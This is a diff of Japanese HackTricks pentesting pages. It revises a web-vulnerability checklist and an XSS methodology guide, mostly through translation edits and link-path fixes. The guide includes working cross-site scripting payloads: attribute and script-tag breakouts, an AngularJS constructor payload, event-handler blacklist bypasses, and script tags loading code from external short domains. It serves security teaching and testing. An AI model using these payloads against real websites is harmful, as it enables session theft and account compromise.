- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
|
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
|
||||||
- [ ] [**Command Injection**](../command-injection.md)
|
- [ ] [**Command Injection**](../command-injection.md)
|
||||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
|
- [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
|
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
|
||||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
|
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||||
- [ ] [**Open Redirect**](../open-redirect.md)
|
- [ ] [**Open Redirect**](../open-redirect.md)
|
||||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
|
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
|
||||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
|
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
|
||||||
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
|
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
|
||||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||||
- [ ] [**XSS**](../xss-cross-site-scripting/)
|
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
|
||||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||||
- [ ] [**XS-Search**](../xs-search.md)
|
- [ ] [**XS-Search**](../xs-search.md)
|
||||||
|
|
||||||
いくつかの脆弱性は特別な条件を必要とし、他のものは単に内容が反映されることを必要とします。脆弱性を迅速にテストするための興味深いポリグロットを見つけることができます:
|
言及された脆弱性のいくつかは特別な条件を必要とし、他のものは単に内容が反映されることを必要とします。脆弱性を迅速にテストするための興味深いポリグロットを見つけることができます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../pocs-and-polygloths-cheatsheet/
|
../pocs-and-polygloths-cheatsheet/
|
||||||
@ -54,11 +54,11 @@
|
|||||||
|
|
||||||
機能がバックエンド内のデータを検索するために使用される場合、任意のデータを検索するために(悪用)できるかもしれません。
|
機能がバックエンド内のデータを検索するために使用される場合、任意のデータを検索するために(悪用)できるかもしれません。
|
||||||
|
|
||||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
|
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
||||||
- [ ] [**LDAP Injection**](../ldap-injection.md)
|
- [ ] [**LDAP Injection**](../ldap-injection.md)
|
||||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||||
- [ ] [**SQL Injection**](../sql-injection/)
|
- [ ] [**SQL Injection**](../sql-injection/index.html)
|
||||||
- [ ] [**XPATH Injection**](../xpath-injection.md)
|
- [ ] [**XPATH Injection**](../xpath-injection.md)
|
||||||
|
|
||||||
### **Forms, WebSockets and PostMsgs**
|
### **Forms, WebSockets and PostMsgs**
|
||||||
@ -67,15 +67,15 @@ WebSocketがメッセージを投稿したり、ユーザーがアクション
|
|||||||
|
|
||||||
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
|
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
|
||||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
|
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
|
||||||
|
|
||||||
### **HTTP Headers**
|
### **HTTP Headers**
|
||||||
|
|
||||||
Webサーバーから提供されるHTTPヘッダーによっては、いくつかの脆弱性が存在する可能性があります。
|
Webサーバーから提供されるHTTPヘッダーによっては、いくつかの脆弱性が存在する可能性があります。
|
||||||
|
|
||||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
|
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
|
||||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
|
- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
|
||||||
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
|
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
|
||||||
|
|
||||||
### **Bypasses**
|
### **Bypasses**
|
||||||
@ -85,7 +85,7 @@ Webサーバーから提供されるHTTPヘッダーによっては、いくつ
|
|||||||
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
|
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
|
||||||
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
|
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
|
||||||
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
|
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
|
||||||
- [ ] [**Login Bypass**](../login-bypass/)
|
- [ ] [**Login Bypass**](../login-bypass/index.html)
|
||||||
- [ ] [**Race Condition**](../race-condition.md)
|
- [ ] [**Race Condition**](../race-condition.md)
|
||||||
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
|
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
|
||||||
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
|
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
|
||||||
@ -93,21 +93,21 @@ Webサーバーから提供されるHTTPヘッダーによっては、いくつ
|
|||||||
|
|
||||||
### **Structured objects / Specific functionalities**
|
### **Structured objects / Specific functionalities**
|
||||||
|
|
||||||
いくつかの機能は、**データが非常に特定の形式で構造化されることを必要とします**(言語シリアライズオブジェクトやXMLのように)。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\
|
一部の機能は、**データが非常に特定の形式で構造化されることを必要とします**(言語シリアライズされたオブジェクトやXMLのように)。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\
|
||||||
いくつかの**特定の機能**も、**特定の形式の入力が使用される場合**に脆弱である可能性があります(メールヘッダーインジェクションのように)。
|
一部の**特定の機能**も、**特定の形式の入力が使用される場合**に脆弱である可能性があります(メールヘッダーインジェクションのように)。
|
||||||
|
|
||||||
- [ ] [**Deserialization**](../deserialization/)
|
- [ ] [**Deserialization**](../deserialization/index.html)
|
||||||
- [ ] [**Email Header Injection**](../email-injections.md)
|
- [ ] [**Email Header Injection**](../email-injections.md)
|
||||||
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
|
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
|
||||||
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
|
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
|
||||||
|
|
||||||
### Files
|
### Files
|
||||||
|
|
||||||
ファイルのアップロードを許可する機能は、いくつかの問題に対して脆弱である可能性があります。\
|
ファイルのアップロードを許可する機能は、さまざまな問題に対して脆弱である可能性があります。\
|
||||||
ユーザー入力を含むファイルを生成する機能は、予期しないコードを実行する可能性があります。\
|
ユーザー入力を含むファイルを生成する機能は、予期しないコードを実行する可能性があります。\
|
||||||
ユーザーがユーザーによってアップロードされたファイルや、ユーザー入力を含む自動生成されたファイルを開くと、危険にさらされる可能性があります。
|
ユーザーがユーザーによってアップロードされたファイルや、ユーザー入力を含む自動生成されたファイルを開くと、危険にさらされる可能性があります。
|
||||||
|
|
||||||
- [ ] [**File Upload**](../file-upload/)
|
- [ ] [**File Upload**](../file-upload/index.html)
|
||||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||||
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
|
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
|
||||||
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||||
@ -115,7 +115,7 @@ Webサーバーから提供されるHTTPヘッダーによっては、いくつ
|
|||||||
### **External Identity Management**
|
### **External Identity Management**
|
||||||
|
|
||||||
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
|
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
|
||||||
- [ ] [**SAML Attacks**](../saml-attacks/)
|
- [ ] [**SAML Attacks**](../saml-attacks/index.html)
|
||||||
|
|
||||||
### **Other Helpful Vulnerabilities**
|
### **Other Helpful Vulnerabilities**
|
||||||
|
|
||||||
@ -124,6 +124,6 @@ Webサーバーから提供されるHTTPヘッダーによっては、いくつ
|
|||||||
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
|
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
|
||||||
- [ ] [**IDOR**](../idor.md)
|
- [ ] [**IDOR**](../idor.md)
|
||||||
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
|
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
|
||||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
|
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -6,28 +6,28 @@
|
|||||||
2. **反映されている/使用されているコンテキスト**を見つけます。
|
2. **反映されている/使用されているコンテキスト**を見つけます。
|
||||||
3. **反映されている場合**
|
3. **反映されている場合**
|
||||||
1. **使用できる記号**を確認し、それに応じてペイロードを準備します:
|
1. **使用できる記号**を確認し、それに応じてペイロードを準備します:
|
||||||
1. **生のHTML**の場合:
|
1. **生のHTML**内で:
|
||||||
1. 新しいHTMLタグを作成できますか?
|
1. 新しいHTMLタグを作成できますか?
|
||||||
2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか?
|
2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか?
|
||||||
3. 保護を回避できますか?
|
3. 保護を回避できますか?
|
||||||
4. HTMLコンテンツがクライアントサイドのJSエンジン (_AngularJS_、_VueJS_、_Mavo_...) によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できるかもしれません。
|
4. HTMLコンテンツがクライアントサイドのJSエンジン (_AngularJS_、_VueJS_、_Mavo_...) によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できるかもしれません。
|
||||||
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/)を悪用できるかもしれません。
|
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/index.html)を悪用できるかもしれません。
|
||||||
2. **HTMLタグ内**:
|
2. **HTMLタグ内**で:
|
||||||
1. 生のHTMLコンテキストに抜け出せますか?
|
1. 生のHTMLコンテキストに抜け出せますか?
|
||||||
2. JSコードを実行するための新しいイベント/属性を作成できますか?
|
2. JSコードを実行するための新しいイベント/属性を作成できますか?
|
||||||
3. あなたが閉じ込められている属性はJS実行をサポートしていますか?
|
3. あなたが閉じ込められている属性はJS実行をサポートしていますか?
|
||||||
4. 保護を回避できますか?
|
4. 保護を回避できますか?
|
||||||
3. **JavaScriptコード内**:
|
3. **JavaScriptコード内**で:
|
||||||
1. `<script>`タグをエスケープできますか?
|
1. `<script>`タグをエスケープできますか?
|
||||||
2. 文字列をエスケープして異なるJSコードを実行できますか?
|
2. 文字列をエスケープして異なるJSコードを実行できますか?
|
||||||
3. テンプレートリテラル \`\` に入力がありますか?
|
3. あなたの入力はテンプレートリテラル \`\` 内にありますか?
|
||||||
4. 保護を回避できますか?
|
4. 保護を回避できますか?
|
||||||
4. 実行されているJavaScript **関数**:
|
4. 実行されているJavaScript **関数**:
|
||||||
1. 実行する関数の名前を指定できます。例:`?callback=alert(1)`
|
1. 実行する関数の名前を指定できます。例:`?callback=alert(1)`
|
||||||
4. **使用されている場合**:
|
4. **使用されている場合**:
|
||||||
1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているか**に注意してください。
|
1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているか**に注意してください。
|
||||||
|
|
||||||
複雑なXSSに取り組む際に知っておくと興味深いこと:
|
複雑なXSSに取り組む際には、以下のことを知っておくと興味深いかもしれません:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
debugging-client-side-js.md
|
debugging-client-side-js.md
|
||||||
@ -47,19 +47,19 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
|
|||||||
|
|
||||||
### 生のHTML
|
### 生のHTML
|
||||||
|
|
||||||
あなたの入力が**生のHTML**ページに**反映されている**場合、JSコードを実行するためにいくつかの**HTMLタグ**を悪用する必要があります:`<img`、`<iframe`、`<svg`、`<script` ... これらは使用できる多くのHTMLタグの一部です。\
|
あなたの入力が**生のHTML**ページに**反映されている**場合、JSコードを実行するためにいくつかの**HTMLタグ**を悪用する必要があります:`<img`、`<iframe`、`<svg`、`<script` ... これらは使用できる多くのHTMLタグの一部に過ぎません。\
|
||||||
また、[クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md)を念頭に置いてください。
|
また、[クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md)を念頭に置いてください。
|
||||||
|
|
||||||
### HTMLタグ属性内
|
### HTMLタグ属性内
|
||||||
|
|
||||||
あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます:
|
あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます:
|
||||||
|
|
||||||
1. **属性とタグから抜け出す**(その後、生のHTMLにいることになります)新しいHTMLタグを作成して悪用します:`"><img [...]`
|
1. **属性とタグから抜け出す**(その後、生のHTMLにいることになります)ことを試み、新しいHTMLタグを作成して悪用します:`"><img [...]`
|
||||||
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている)、タグに応じてJSコードを実行する**イベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
|
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている)、タグに応じてJSコードを実行する**イベント**を作成できるかもしれません:`" autofocus onfocus=alert(1) x="`
|
||||||
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**全体を制御しているか一部だけを制御しているか**によって悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**全体を制御しているか一部だけを制御しているか**によって悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
||||||
4. あなたの入力が**「悪用できないタグ」**内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="**
|
4. あなたの入力が**「悪用できないタグ」**内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="**
|
||||||
|
|
||||||
クラス名を制御する場合のAngularによるXSSの奇妙な例:
|
クラス名を制御している場合のAngularによるXSSの奇妙な例:
|
||||||
```html
|
```html
|
||||||
<div ng-app>
|
<div ng-app>
|
||||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||||
@ -70,7 +70,7 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
|
|||||||
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグの間、`.js`ファイルの中、または**`javascript:`**プロトコルを使用した属性の中に反映されます:
|
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグの間、`.js`ファイルの中、または**`javascript:`**プロトコルを使用した属性の中に反映されます:
|
||||||
|
|
||||||
- **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコードの中にあることに気づかないからです。
|
- **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコードの中にあることに気づかないからです。
|
||||||
- **JS文字列の中**に反映されていて、最後のトリックが機能しない場合は、文字列から**退出**し、**コードを実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
|
- **JS文字列の中**に反映されていて、最後のトリックが機能しない場合は、文字列から**退出**し、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
|
||||||
- `'-alert(1)-'`
|
- `'-alert(1)-'`
|
||||||
- `';-alert(1)//`
|
- `';-alert(1)//`
|
||||||
- `\';alert(1)//`
|
- `\';alert(1)//`
|
||||||
@ -83,7 +83,7 @@ alert(1)
|
|||||||
```
|
```
|
||||||
#### Javascript Hoisting
|
#### Javascript Hoisting
|
||||||
|
|
||||||
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用することができます。**\
|
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できることを意味します。**\
|
||||||
**詳細については、以下のページを確認してください:**
|
**詳細については、以下のページを確認してください:**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -94,13 +94,13 @@ js-hoisting.md
|
|||||||
|
|
||||||
いくつかのウェブページには、**実行する関数の名前をパラメータとして受け入れるエンドポイントがあります。** 実際に見られる一般的な例は、`?callback=callbackFunc`のようなものです。
|
いくつかのウェブページには、**実行する関数の名前をパラメータとして受け入れるエンドポイントがあります。** 実際に見られる一般的な例は、`?callback=callbackFunc`のようなものです。
|
||||||
|
|
||||||
ユーザーによって直接提供された何かが実行されようとしているかどうかを確認する良い方法は、**パラメータの値を変更すること**(例えば「Vulnerable」に)で、コンソールで次のようなエラーを探すことです:
|
ユーザーによって直接提供された何かが実行されようとしているかどうかを確認する良い方法は、**パラメータの値を変更すること**(例えば'Vulnerable'に)で、コンソールで次のようなエラーを探すことです:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
もし脆弱であれば、**値を送信するだけでアラートをトリガーできるかもしれません: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。**
|
脆弱性がある場合、**値を送信するだけでアラートをトリガーできる可能性があります: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。**
|
||||||
|
|
||||||
しかし、その制限があっても、いくつかのアクションを実行することはまだ可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
|
しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
|
|||||||
|
|
||||||
### DOM
|
### DOM
|
||||||
|
|
||||||
**JSコード**が、攻撃者によって制御される**データを安全でない方法で**使用しています。例えば、`location.href`。攻撃者は、これを悪用して任意のJSコードを実行することができます。
|
**JSコード**が、攻撃者によって制御される**データ**(例: `location.href`)を**安全でない**方法で使用しています。攻撃者は、これを悪用して任意のJSコードを実行することができます。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
dom-xss.md
|
dom-xss.md
|
||||||
@ -149,8 +149,8 @@ server-side-xss-dynamic-pdf.md
|
|||||||
|
|
||||||
## 生のHTML内に注入
|
## 生のHTML内に注入
|
||||||
|
|
||||||
あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映されているか**を確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
|
あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
|
||||||
この場合も、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)**を念頭に置いてください。**\
|
この場合も、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)**を考慮してください。**\
|
||||||
&#xNAN;_**注: HTMLコメントは、\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*または\*\*\*\*\*\***`--!>`\*\**で閉じることができます。_
|
&#xNAN;_**注: HTMLコメントは、\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*または\*\*\*\*\*\***`--!>`\*\**で閉じることができます。_
|
||||||
|
|
||||||
この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
|
この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
|
||||||
@ -233,24 +233,24 @@ onerror=alert`1`
|
|||||||
<!-- Taken from the blog of Jorge Lajara -->
|
<!-- Taken from the blog of Jorge Lajara -->
|
||||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||||
```
|
```
|
||||||
最後のものは2つのUnicode文字を使用しており、5つに展開されます: telsr\
|
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||||
これらの文字の詳細は[こちら](https://www.unicode.org/charts/normalization/)で見つけることができます。\
|
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||||
どの文字が分解されているかを確認するには[こちら](https://www.compart.com/en/unicode/U+2121)をチェックしてください。
|
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||||
|
|
||||||
### Click XSS - Clickjacking
|
### Click XSS - Clickjacking
|
||||||
|
|
||||||
脆弱性を悪用するために**ユーザーにリンクやフォームをクリックさせる必要がある**場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。
|
脆弱性を悪用するために、**ユーザーにリンクや事前に入力されたデータを持つフォームをクリックさせる必要がある**場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。
|
||||||
|
|
||||||
### Impossible - Dangling Markup
|
### Impossible - Dangling Markup
|
||||||
|
|
||||||
**JSコードを実行する属性を持つHTMLタグを作成することは不可能だ**と思うなら、[**Dangling Markup**](../dangling-markup-html-scriptless-injection/)を確認してください。なぜなら、**JS**コードを実行することなく**脆弱性を悪用**できるからです。
|
**JSコードを実行する属性を持つHTMLタグを作成することは不可能だと思う**場合、[**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)を確認してください。なぜなら、**JS**コードを実行することなく**脆弱性を悪用**できるからです。
|
||||||
|
|
||||||
## HTMLタグ内への注入
|
## Injecting inside HTML tag
|
||||||
|
|
||||||
### タグ内/属性値からのエスケープ
|
### Inside the tag/escaping from attribute value
|
||||||
|
|
||||||
**HTMLタグ内にいる**場合、最初に試すべきことは、タグから**エスケープ**し、[前のセクション](#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\
|
**HTMLタグの内部にいる**場合、最初に試すべきことは、タグから**エスケープ**し、[前のセクション](#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\
|
||||||
もし**タグからエスケープできない**場合、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_):
|
もし**タグからエスケープできない**場合、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_):
|
||||||
```bash
|
```bash
|
||||||
" autofocus onfocus=alert(document.domain) x="
|
" autofocus onfocus=alert(document.domain) x="
|
||||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||||
@ -272,7 +272,7 @@ onerror=alert`1`
|
|||||||
|
|
||||||
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
|
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
|
||||||
|
|
||||||
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">戻る </a>`
|
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**ランタイムでデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">戻る </a>`
|
||||||
|
|
||||||
**あらゆる種類のHTMLエンコードが有効であることに注意してください**:
|
**あらゆる種類のHTMLエンコードが有効であることに注意してください**:
|
||||||
```javascript
|
```javascript
|
||||||
@ -351,7 +351,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
|
|||||||
```javascript
|
```javascript
|
||||||
<a href="javascript:var a=''-alert(1)-''">
|
<a href="javascript:var a=''-alert(1)-''">
|
||||||
```
|
```
|
||||||
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見たら、**それは重要ではありません。** 実行時に**シングルクォート**として**解釈**されます。
|
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見ても、**問題ありません。** 実行時に**シングルクォート**として**解釈されます。**
|
||||||
```javascript
|
```javascript
|
||||||
'-alert(1)-'
|
'-alert(1)-'
|
||||||
%27-alert(1)-%27
|
%27-alert(1)-%27
|
||||||
@ -385,8 +385,8 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
|
|||||||
|
|
||||||
### イベントハンドラーバイパスについて
|
### イベントハンドラーバイパスについて
|
||||||
|
|
||||||
まず、このページ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))を確認して、役立つ**"on"イベントハンドラー**を探してください。\
|
まず、役立つ**"on"イベントハンドラ**についてはこのページを確認してください([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))。\
|
||||||
このイベントハンドラーの作成を妨げるブラックリストがある場合は、次のバイパスを試すことができます:
|
このイベントハンドラの作成を妨げるブラックリストがある場合は、次のバイパスを試すことができます:
|
||||||
```javascript
|
```javascript
|
||||||
<svg onload%09=alert(1)> //No safari
|
<svg onload%09=alert(1)> //No safari
|
||||||
<svg %09onload=alert(1)>
|
<svg %09onload=alert(1)>
|
||||||
